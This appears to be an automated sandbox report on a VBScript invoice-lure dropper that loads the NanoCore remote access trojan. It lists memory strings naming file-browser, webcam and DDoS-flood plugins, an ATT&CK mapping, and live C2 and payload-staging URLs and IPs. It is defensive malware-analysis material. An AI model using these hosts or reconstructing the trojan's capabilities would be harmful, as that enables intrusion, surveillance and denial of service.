vicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeSendToServerParamArrayAttributeStringProcessStartSystem.Windows.FormsDialogResultShowConversionsReferenceEqualsSystem.ReflectionAssemblyget_AssemblyCompilerGeneratedAttributeSettingsBaseSynchronizedNanoCoreBase.Resources.resourcesDebuggableAttributeDebuggingModesCompilationRelaxationsAttributeRuntimeCompatibilityAttributeAssemblyFileVersionAttributeGuidAttributeAssemblyTrademarkAttributeAssemblyCopyrightAttributeAssemblyProductAttributeAssemblyCompanyAttributeAssemblyDescriptionAttributeAssemblyTitleAttributeNanoCoreBase.dll+set CDAudio door open/set CDAudio door closed-NanoCoreBase.Resources3
Source: aspnet_compiler.exe, 00000017.00000003.463794396.0000000003EF9000.00000004.00000001.sdmpString found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationMyClientPlugin.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1ClientMainMyClientPluginClientPluginMiscCommandHandlerCommandTypeMiscCommandMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceNanoCore.ClientPluginHostIClientLoggingHostLoggingHostInitializePluginNanoCore.ClientPluginIClientNetwork_loggingHostBuildingHostCacheConnectionFailedhostportConnectionStateChangedconnectedPipeClosedpipeNamePipeCreatedReadPacketparamsHandleMiscCommandHandleMiscCommandMessageInterpretRecievedcommandtodoloopkeysEnumvalue__MessageStringExceptionMicrosoft.VisualBasic.CompilerServicesOperatorsCompareStringServerComputerMicrosoft.VisualBasic.MyServicesRegistryProxyget_RegistryMicrosoft.Win32RegistryKeyget_LocalMachineConcatInt32SetValueProjectDataSetProjectErrorClearProjectErrorget_LengthStandardModuleAttributeSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerNonUserCodeAttributeDebuggerHiddenAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerServicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeDebuggableAttributeDebuggingModesCompilationRelaxationsAttributeRuntimeCompatibilityAttributeSystem.ReflectionAssemblyFileVersionAttributeGuidAttributeAssemblyTrademarkAttributeAssemblyCopyrightAttributeAssemblyProductAttributeAssemblyCompanyAttributeAssemblyDescriptionAttributeAssemblyTitleAttributeMyClientPlugin.dll'DisableWebcamLights
Source: aspnet_compiler.exe, 00000017.00000003.463794396.0000000003EF9000.00000004.00000001.sdmpString found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationFileBrowserClient.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1ClientMainFileBrowserClientClientPluginCommandHandlersResourcesFileBrowserClient.My.ResourcesMySettingsMySettingsPropertyFunctionsCommandTypesMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceNanoCore.ClientPluginHostIClientLoggingHostLoggingHostIClientNetworkHostNetworkHostCurrentDirectoryInitializePluginNanoCore.ClientPluginIClientNetwork_loggingHost_networkHostBuildingHostCacheConnectionFailedhostportConnectionStateChangedconnectedPipeClosedpipeNamePipeCreatedReadPacketparamsHandleCreateDirectoryremoteDirHandleDeleteFileremoteFileisDirectoryHandleOpenFileHandleReceiveFilelocalFileHandleRenameFilenewFileNameHandleSetCurrentDirectorypathHandleDeleteHandleDownloadHandleDrivesHandleFilesHandleGetCurrentDirectoryHandleMachineNameHandleOpenHandleSetCurrentDirectoryPacketHandleUploadHandleRenameHandleCreateSendCurrentDirectorySendDrivesSendFileSendFilesSendMachineNameSystem.ResourcesResourceManagerresourceManSystem.GlobalizationCultureInforesourceCultureget_ResourceManagerget_Cultureset_CulturevalueCultureSystem.ConfigurationApplicationSettingsBasedefaultInstanceget_DefaultDefaultget_SettingsSettingsSystem.Collections.GenericList`1RemoteFilesRemoteFoldersRemoteDrivesEnumerateRemoteFilesEnumerateRemoteDrivesLogMessagemessageEnumvalue__MachineNameDrivesFilesGetCurrentDirectorySetCurrentDirectoryDownloadUploadOpenDeleteCreateDirectoryRenameSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerNonUserCodeAttributeDebuggerHiddenAttributeMicrosoft.VisualBasic.CompilerServicesStandardModuleAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerServicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeEnvironmentSpecialFolderGetFolderPathStringFormatSystem.IODirectoryDirectoryInfoProjectDataExceptionSetProjectErrorClearProjectErrorFileLogClientExceptionProcessStartConvertFromBase64StringWriteAllBytesMoveSendToServerConversionsToBooleanInt32NewLateBindingLateIndexGetEnumeratorEmptyGetEnumeratorget_CurrentTrimConcatMoveNextIDisposableDisposeReadAllBytesToBase64StringIsNullOrEmptyget_MachineNameToUpperget_UserNameReferenceEqualsSystem.ReflectionAssemblyget_AssemblyCompilerGeneratedAttributeSettingsBaseSynchronizedFileInfoFileSystemInfoget_FullNameContainsGetDirectoriesget_NameAddGetF
Source: aspnet_compiler.exe, 00000017.00000003.463794396.0000000003EF9000.00000004.00000001.sdmpString found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationNanoCoreStressTester.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1ClientMainNanoCoreStressTesterClientPluginHTTPFloodSlowLorisSYNFloodTCPNanoCoreStressTester.FloodUDPSendSynCommandHandlerResourcesNanoCoreStressTester.My.ResourcesMySettingsMySettingsPropertyCommandsMethodsMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceNanoCore.ClientPluginHostIClientLoggingHostLoggingHostIClientNetworkHostNetworkHostIClientDataHostDataHostClientGUIDSendCommandparamsInitializePluginNanoCore.ClientPluginIClientNetwork_networkhost_loggingHost_DataHostBuildingHostCacheConnectionFailedhostportConnectionStateChangedconnectedPipeClosedpipeNamePipeCreatedReadPacketStartHostToAttackArrayUploadDataSiteUserAgentRefererValuesGeneratecodelengthSystem.ThreadingThreadThreadsPortToAttackTimeToAttackThreadstoUseThreadsEndedattacksAttackRunningFloodnewHostnewPortnewTimenewThreadslolStopSlowlorisStressThreadStart_floodingJob_floodingThreadSystem.NetIPEndPoint_ipEo_synClassHostIsEnabledPortSuperSynSocketsStartSuperSynStopSuperSynSystem.Net.SocketsSocketClientIPPacketsPacketSizeMaxPacketsStopFloodmPacketspSize_sockipEosuperSynSockets__1IAsyncResultOnConnectarSendFloodingstopHTTPBytesSentSYNConnectionsHTTPDataSentMethodTargetAddressTargetStatusupdateBytesnewSYNFloodHandleDDOSCommandHandleStopCommandSystem.TimersElapsedEventArgsbytesTimerElapsedsourceeHandleHTTPCommandHandleSlowlorisCommandHandleTCPCommandHandleUDPCommandHandleSYNCommandSystem.ResourcesResourceManagerresourceManSystem.GlobalizationCultureInforesourceCultureget_ResourceManagerget_Cultureset_CultureValueCultureSystem.ConfigurationApplicationSettingsBasedefaultInstanceget_DefaultDefaultget_SettingsSettingsEnumvalue__sendStressCommandupdateStatusColumnstopStressCommandHTTPSlowlorisSYNSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerNonUserCodeAttributeDebuggerHiddenAttributeMicrosoft.VisualBasic.CompilerServicesStandardModuleAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerServicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeExceptionSendToServerProjectDataSetProjectErrorClearProjectErrorTimerNanoCoreIClientNameObjectCollectionget_VariablesGetValueset_Intervalset_EnabledElapsedEventHandleradd_ElapsedParamArrayAttributeRandomGuidStringIsNullOrEmptyArgumentNullExceptionArgumentOutOfRangeExce

Mitre Att&ck Matrix

Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
Valid AccountsWindows Management Instrumentation1Registry Run Keys / Startup Folder1Process Injection211Masquerading1OS Credential DumpingQuery Registry1Remote ServicesData from Local SystemExfiltration Over Other Network MediumEncrypted Channel1Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
Default AccountsCommand and Scripting Interpreter11Boot or Logon Initialization ScriptsRegistry Run Keys / Startup Folder1Disable or Modify Tools1LSASS MemorySecurity Software Discovery11Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothNon-Standard Port1Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
Domain AccountsScripting221Logon Script (Windows)Logon Script (Windows)Virtualization/Sandbox Evasion21Security Account ManagerProcess Discovery1SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationRemote Access Software1Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
Local AccountsPowerShell1Logon Script (Mac)Logon Script (Mac)Process Injection211NTDSVirtualization/Sandbox Evasion21Distributed Component Object ModelInput CaptureScheduled TransferIngress Tool Transfer1SIM Card SwapCarrier Billing Fraud
Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptScripting221LSA SecretsApplication Window Discovery1SSHKeyloggingData Transfer Size LimitsNon-Application Layer Protocol2Manipulate Device CommunicationManipulate App Store Rankings or Ratings
Replication Through Removable MediaLaunchdRc.commonRc.commonHidden Files and Directories1Cached Domain CredentialsRemote System Discovery1VNCGUI Input CaptureExfiltration Over C2 ChannelApplication Layer Protocol13Jamming or Denial of ServiceAbuse Accessibility Features
External Remote ServicesScheduled TaskStartup ItemsStartup ItemsObfuscated Files or Information1DCSyncFile and Directory Discovery1Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/JobIndicator Removal from ToolsProc FilesystemSystem Information Discovery12Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

SourceDetectionScannerLabelLink
http://crl.microsofo0%Avira URL Cloudsafe
http://pesterbdd.com/images/Pester.png0%URL Reputationsafe
http://crl.c0%Avira URL Cloudsafe
http://crl.microsof0%URL Reputationsafe

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
newjan.duckdns.org
194.147.140.20
truetrue
    unknown
    transfer.sh
    144.76.136.153
    truefalse
      high

      Contacted URLs

      NameMaliciousAntivirus DetectionReputation
      https://transfer.sh/I0xnyr/tytyt.txtfalse
        high
        https://transfer.sh/KgBbue/cxderf.txtfalse
          high

          URLs from Memory and Binaries

          NameSourceMaliciousAntivirus DetectionReputation
          http://crl.microsofopowershell.exe, 00000004.00000003.393940465.000001EE6C31C000.00000004.00000001.sdmpfalse
          • Avira URL Cloud: safe
          unknown
          http://pesterbdd.com/images/Pester.pngpowershell.exe, 00000004.00000002.396426297.000001EE002B9000.00000004.00000001.sdmpfalse
          • URL Reputation: safe
          unknown
          http://schemas.xmlsoap.org/soap/encoding/powershell.exe, 00000004.00000002.396805530.000001EE00442000.00000004.00000001.sdmpfalse
            high
            http://crl.cpowershell.exe, 00000004.00000003.393940465.000001EE6C31C000.00000004.00000001.sdmpfalse
            • Avira URL Cloud: safe
            unknown
            http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 00000004.00000002.396426297.000001EE002B9000.00000004.00000001.sdmpfalse
              high
              http://crl.microsofpowershell.exe, 00000004.00000003.393940465.000001EE6C31C000.00000004.00000001.sdmpfalse
              • URL Reputation: safe
              unknown
              http://schemas.xmlsoap.org/wsdl/powershell.exe, 00000004.00000002.396805530.000001EE00442000.00000004.00000001.sdmpfalse
                high
                https://transfer.shpowershell.exe, 00000004.00000002.396426297.000001EE002B9000.00000004.00000001.sdmpfalse
                  high
                  http://google.comaspnet_compiler.exe, 00000017.00000003.463794396.0000000003EF9000.00000004.00000001.sdmpfalse
                    high
                    http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 00000004.00000002.395638887.000001EE00001000.00000004.00000001.sdmpfalse
                      high
                      https://github.com/Pester/Pesterpowershell.exe, 00000004.00000002.396426297.000001EE002B9000.00000004.00000001.sdmpfalse
                        high

                        Contacted IPs

                        • No. of IPs < 25%
                        • 25% < No. of IPs < 50%
                        • 50% < No. of IPs < 75%
                        • 75% < No. of IPs

                        Public

                        IPDomainCountryFlagASNASN NameMalicious
                        144.76.136.153
                        transfer.shGermany
                        24940HETZNER-ASDEfalse
                        194.147.140.20
                        newjan.duckdns.orgunknown
                        47285PTPEUtrue

                        Private

                        IP
                        192.168.2.1

                        General Information

                        Joe Sandbox Version:33.0.0 White Diamond
                        Analysis ID:483357
                        Start date:14.09.2021
                        Start time:21:23:37
                        Joe Sandbox Product:CloudBasic
                        Overall analysis duration:0h 11m 0s
                        Hypervisor based Inspection enabled:false
                        Report type:full
                        Sample file name:7-Items-receipt.vbs
                        Cookbook file name:default.jbs
                        Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                        Number of analysed new started processes analysed:40
                        Number of new started drivers analysed:0
                        Number of existing processes analysed:0
                        Number of existing drivers analysed:0
                        Number of injected processes analysed:0
                        Technologies:
                        • HCA enabled
                        • EGA enabled
                        • HDC enabled
                        • AMSI enabled
                        Analysis Mode:default
                        Analysis stop reason:Timeout
                        Detection:MAL
                        Classification:mal100.troj.evad.winVBS@8/10@30/3
                        EGA Information:Failed
                        HDC Information:Failed
                        HCA Information:
                        • Successful, ratio: 100%
                        • Number of executed functions: 0
                        • Number of non-executed functions: 0
                        Cookbook Comments:
                        • Adjust boot time
                        • Enable AMSI
                        • Found application associated with file extension: .vbs
                        • Override analysis time to 240s for JS/VBS files not yet terminated
                        Warnings:
                        Show All
                        • Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
                        • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, MusNotifyIcon.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, UsoClient.exe, wuapihost.exe
                        • Excluded IPs from analysis (whitelisted): 23.211.6.115, 23.35.236.56, 20.82.210.154, 40.112.88.60, 13.107.4.50, 20.82.209.183, 80.67.82.211, 80.67.82.235, 20.73.194.208, 20.49.150.241, 20.54.110.249
                        • Excluded domains from analysis (whitelisted): store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, b1ns.c-0001.c-msedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, e12564.dspb.akamaiedge.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, b1ns.au-msedge.net, iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, wu-shim.trafficmanager.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, asf-ris-prod-neu.northeurope.cloudapp.azure.com, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, c-0001.c-msedge.net, settings-win.data.microsoft.com, settingsfd-geo.trafficmanager.net, ris.api.iris.microsoft.com, store-images.s-microsoft.com, displaycatalog-rp.md.mp.microsoft.com.akadns.net
                        • Not all processes where analyzed, report is missing behavior information
                        • Report size exceeded maximum capacity and may have missing behavior information.
                        • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                        • Report size getting too big, too many NtOpenKeyEx calls found.
                        • Report size getting too big, too many NtProtectVirtualMemory calls found.
                        • Report size getting too big, too many NtQueryAttributesFile calls found.
                        • Report size getting too big, too many NtQueryValueKey calls found.
                        • Report size getting too big, too many NtQueryVolumeInformationFile calls found.
                        • Report size getting too big, too many NtSetInformationFile calls found.

                        Simulations

                        Behavior and APIs

                        TimeTypeDescription
                        21:24:51API Interceptor23x Sleep call for process: powershell.exe modified
                        21:25:56API Interceptor1449x Sleep call for process: aspnet_compiler.exe modified

                        Joe Sandbox View / Context

                        IPs

                        MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                        144.76.136.153Receipt_12203.vbsGet hashmaliciousBrowse
                        • transfer.sh/get/E2oQCW/Server.txt
                        Invoice #60122.vbsGet hashmaliciousBrowse
                        • transfer.sh/get/Vp6k0P/Server.txt
                        M00GS82.vbsGet hashmaliciousBrowse
                        • transfer.sh/get/QipjYs/fOOFFK.txt
                        #P0082.vbsGet hashmaliciousBrowse
                        • transfer.sh/get/4YgL52/HJN.txt
                        Invoice #33190.vbsGet hashmaliciousBrowse
                        • transfer.sh/get/1jDQCmj/trivago.txt
                        ZHDJFEB83MK.vbsGet hashmaliciousBrowse
                        • transfer.sh/15cCRXY/KFKFKF.txt
                        #W002.vbsGet hashmaliciousBrowse
                        • transfer.sh/1YKpmfw/HmS.txt
                        WOO62_InvoiceCopy.vbsGet hashmaliciousBrowse
                        • transfer.sh/p/SHJA.txt
                        A719830-Paid-Receipt.vbsGet hashmaliciousBrowse
                        • transfer.sh/b/deef.txt
                        S0187365-Paid-Receipt.vbsGet hashmaliciousBrowse
                        • transfer.sh/1w231Gc/eeff.txt
                        X92867354_PAYMENT_RECEIPT.vbsGet hashmaliciousBrowse
                        • transfer.sh/1cKLmWw/defff.txt
                        H6289_Payment_Invoice_.vbsGet hashmaliciousBrowse
                        • transfer.sh/bypass.txt
                        W00903InvoicePayment.vbsGet hashmaliciousBrowse
                        • transfer.sh/1Qh4UR2/defender.txt
                        R73981_Payment_Invoice_.vbsGet hashmaliciousBrowse
                        • transfer.sh/1yD4k6Q/ftf.txt
                        S83735478_Payment_Invoice.vbsGet hashmaliciousBrowse
                        • transfer.sh/1WFWzN7/defender.txt
                        D37186235_Payment_Invoice.vbsGet hashmaliciousBrowse
                        • transfer.sh/1RzUlWk/defender.txt
                        In_WO072.vbsGet hashmaliciousBrowse
                        • transfer.sh/1RKyZ9I/hjdds.txt
                        FDOCX3429067800.vbsGet hashmaliciousBrowse
                        • transfer.sh/1AeAeyx/defender.txt
                        W092.vbsGet hashmaliciousBrowse
                        • transfer.sh/1DiufNP/JKS.txt
                        Texas Windstorm Insurance upgrade package.vbsGet hashmaliciousBrowse
                        • transfer.sh/get/1R86ggs/defender.txt

                        Domains

                        MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                        newjan.duckdns.org9 ITEMS INVOICE RECEIPT.vbsGet hashmaliciousBrowse
                        • 194.147.140.20
                        15 Items Receipt.vbsGet hashmaliciousBrowse
                        • 194.147.140.20
                        14 Items receipt.vbsGet hashmaliciousBrowse
                        • 194.147.140.20
                        16 Items receipt.vbsGet hashmaliciousBrowse
                        • 194.147.140.20
                        41-Items-invoice.vbsGet hashmaliciousBrowse
                        • 194.147.140.20
                        8 Items invoice.vbsGet hashmaliciousBrowse
                        • 194.147.140.20
                        3G1J49A6V_Invoice.vbsGet hashmaliciousBrowse
                        • 185.244.30.23
                        LxYbtlP5nB.exeGet hashmaliciousBrowse
                        • 185.244.30.23
                        Invoice#282730.exeGet hashmaliciousBrowse
                        • 79.134.225.9
                        Urban Receipt.exeGet hashmaliciousBrowse
                        • 79.134.225.9
                        d9hGzIR8mh.exeGet hashmaliciousBrowse
                        • 194.5.97.75
                        6554353_Payment_Invoice.exeGet hashmaliciousBrowse
                        • 194.5.97.75
                        transfer.sh9 ITEMS INVOICE RECEIPT.vbsGet hashmaliciousBrowse
                        • 144.76.136.153
                        15 Items Receipt.vbsGet hashmaliciousBrowse
                        • 144.76.136.153
                        14 Items receipt.vbsGet hashmaliciousBrowse
                        • 144.76.136.153
                        16 Items receipt.vbsGet hashmaliciousBrowse
                        • 144.76.136.153
                        41-Items-invoice.vbsGet hashmaliciousBrowse
                        • 144.76.136.153
                        12-items-receipt.vbsGet hashmaliciousBrowse
                        • 144.76.136.153
                        8 Items invoice.vbsGet hashmaliciousBrowse
                        • 144.76.136.153
                        Receipt_12203.vbsGet hashmaliciousBrowse
                        • 144.76.136.153
                        Payment_Advoce.vbsGet hashmaliciousBrowse
                        • 144.76.136.153
                        Payment_Advoce.vbsGet hashmaliciousBrowse
                        • 144.76.136.153
                        Invoice #60122.vbsGet hashmaliciousBrowse
                        • 144.76.136.153
                        83736354Invoicereceipt.vbsGet hashmaliciousBrowse
                        • 144.76.136.153
                        Invoice52190.vbsGet hashmaliciousBrowse
                        • 144.76.136.153
                        M00GS82.vbsGet hashmaliciousBrowse
                        • 144.76.136.153
                        Invoice#52190.vbsGet hashmaliciousBrowse
                        • 144.76.136.153
                        Payment_Advoce.vbsGet hashmaliciousBrowse
                        • 144.76.136.153
                        8373543_Invoice_Receipt.vbsGet hashmaliciousBrowse
                        • 144.76.136.153
                        A6D8N25S_Invoice_receipt.vbsGet hashmaliciousBrowse
                        • 144.76.136.153
                        Invoice#1096.vbsGet hashmaliciousBrowse
                        • 144.76.136.153
                        Receipt.vbsGet hashmaliciousBrowse
                        • 144.76.136.153

                        ASN

                        MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                        HETZNER-ASDE9 ITEMS INVOICE RECEIPT.vbsGet hashmaliciousBrowse
                        • 144.76.136.153
                        AQjULTL4bf.exeGet hashmaliciousBrowse
                        • 144.76.112.41
                        zehRYOQKumNzslOoJFhSzJMOABzMtmqTelWJsoDCsqmu.vbsGet hashmaliciousBrowse
                        • 88.99.219.185
                        15 Items Receipt.vbsGet hashmaliciousBrowse
                        • 144.76.136.153
                        gyuFYFGuig.vbsGet hashmaliciousBrowse
                        • 148.251.87.253
                        14 Items receipt.vbsGet hashmaliciousBrowse
                        • 144.76.136.153
                        16 Items receipt.vbsGet hashmaliciousBrowse
                        • 144.76.136.153
                        diagram-129.docGet hashmaliciousBrowse
                        • 136.243.74.161
                        diagram-129.docGet hashmaliciousBrowse
                        • 136.243.74.161
                        i3UmAT06iE.exeGet hashmaliciousBrowse
                        • 195.201.225.248
                        cd.exeGet hashmaliciousBrowse
                        • 168.119.139.96
                        diagram-129.docGet hashmaliciousBrowse
                        • 136.243.74.161
                        GCw589FSm7.exeGet hashmaliciousBrowse
                        • 195.201.225.248
                        jFQ6SEAt26Get hashmaliciousBrowse
                        • 49.13.162.183
                        67d16a17f27f15cf21671ccb406e1e8b647aaf90c72c9.exeGet hashmaliciousBrowse
                        • 195.201.225.248
                        diagram-477.docGet hashmaliciousBrowse
                        • 136.243.74.161
                        diagram-477.docGet hashmaliciousBrowse
                        • 136.243.74.161
                        diagram-477.docGet hashmaliciousBrowse
                        • 136.243.74.161
                        4J1sKiGm0T.exeGet hashmaliciousBrowse
                        • 116.203.165.54
                        lB2RFTpyni.exeGet hashmaliciousBrowse
                        • 116.203.165.54
                        PTPEU9 ITEMS INVOICE RECEIPT.vbsGet hashmaliciousBrowse
                        • 194.147.140.20
                        15 Items Receipt.vbsGet hashmaliciousBrowse
                        • 194.147.140.20
                        14 Items receipt.vbsGet hashmaliciousBrowse
                        • 194.147.140.20
                        16 Items receipt.vbsGet hashmaliciousBrowse
                        • 194.147.140.20
                        SPT DRINGENDE BESTELLUNG _876453,pdf.exeGet hashmaliciousBrowse
                        • 194.147.140.9
                        41-Items-invoice.vbsGet hashmaliciousBrowse
                        • 194.147.140.20
                        Confirmaci#U00f3n del pedido- No HD10103,pdf.exeGet hashmaliciousBrowse
                        • 194.147.140.9
                        SPT DRINGENDE BESTELLUNG _8764,pdf.exeGet hashmaliciousBrowse
                        • 194.147.140.9
                        8 Items invoice.vbsGet hashmaliciousBrowse
                        • 194.147.140.20
                        heimatec RFQ 4556_ DRINGEND,pdf.exeGet hashmaliciousBrowse
                        • 194.147.140.9
                        Confirmarea comenzii noi-4019,pdf.exeGet hashmaliciousBrowse
                        • 194.147.140.9
                        vuaXoDsazgGet hashmaliciousBrowse
                        • 194.147.142.145
                        dsMBH5SmxLGet hashmaliciousBrowse
                        • 194.147.142.145
                        YIupXk5F7bGet hashmaliciousBrowse
                        • 194.147.142.145
                        pvbuEVYCUBGet hashmaliciousBrowse
                        • 194.147.142.145
                        1jTsJsy5b8Get hashmaliciousBrowse
                        • 194.147.142.145
                        fpAHzxlGRnGet hashmaliciousBrowse
                        • 194.147.142.145
                        sV5aR2SUfW.exeGet hashmaliciousBrowse
                        • 194.147.142.230
                        qSN1mPnL52.exeGet hashmaliciousBrowse
                        • 194.147.142.230
                        PO20171118-COGRAL SPA.jarGet hashmaliciousBrowse
                        • 185.105.236.179

                        JA3 Fingerprints

                        MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                        54328bd36c14bd82ddaa0c04b25ed9ad9 ITEMS INVOICE RECEIPT.vbsGet hashmaliciousBrowse
                        • 144.76.136.153
                        15 Items Receipt.vbsGet hashmaliciousBrowse
                        • 144.76.136.153
                        14 Items receipt.vbsGet hashmaliciousBrowse
                        • 144.76.136.153
                        16 Items receipt.vbsGet hashmaliciousBrowse
                        • 144.76.136.153
                        diagram-129.docGet hashmaliciousBrowse
                        • 144.76.136.153
                        8aGRdeN1Be.exeGet hashmaliciousBrowse
                        • 144.76.136.153
                        QLMRTJS9RA.exeGet hashmaliciousBrowse
                        • 144.76.136.153
                        SecuriteInfo.com.W32.AIDetect.malware2.32348.exeGet hashmaliciousBrowse
                        • 144.76.136.153
                        diagram-477.docGet hashmaliciousBrowse
                        • 144.76.136.153
                        Rombat-0118PDF.exeGet hashmaliciousBrowse
                        • 144.76.136.153
                        CLLKFIJI_(9-13-2021).xlsx.vbsGet hashmaliciousBrowse
                        • 144.76.136.153
                        YyKMqtQcLMkGx.vbsGet hashmaliciousBrowse
                        • 144.76.136.153
                        Halkbank_Ekstre_20210913_074002_566345 pdf.exeGet hashmaliciousBrowse
                        • 144.76.136.153
                        Kopie dokladu o transakci 09_14_21.exeGet hashmaliciousBrowse
                        • 144.76.136.153
                        qashmhBw9u.exeGet hashmaliciousBrowse
                        • 144.76.136.153
                        setup_x86_x64_install.exeGet hashmaliciousBrowse
                        • 144.76.136.153
                        Quotation.exeGet hashmaliciousBrowse
                        • 144.76.136.153
                        PROJ-9560 - PACKING SLIP.exeGet hashmaliciousBrowse
                        • 144.76.136.153
                        41-Items-invoice.vbsGet hashmaliciousBrowse
                        • 144.76.136.153
                        12-items-receipt.vbsGet hashmaliciousBrowse
                        • 144.76.136.153

                        Dropped Files

                        No context

                        Created / dropped Files

                        C:\Users\Public\Run\New.vbs
                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        File Type:ASCII text, with very long lines, with CRLF line terminators
                        Category:dropped
                        Size (bytes):3098
                        Entropy (8bit):3.6637312776496347
                        Encrypted:false
                        SSDEEP:96:B4yyyyyyyyyyyyyyRyyyyyyyyyyyyyyjXWipjOyyyyyyyyyyy0lnmyyyyyyyyyyD:B4yyyyyyyyyyyyyyRyyyyyyyyyyyyyyB
                        MD5:E3F1C4EDB28B8BC8298E4FF91B22734E
                        SHA1:FDADBB23B105C55698A1AEDE4DB74750C33FB610
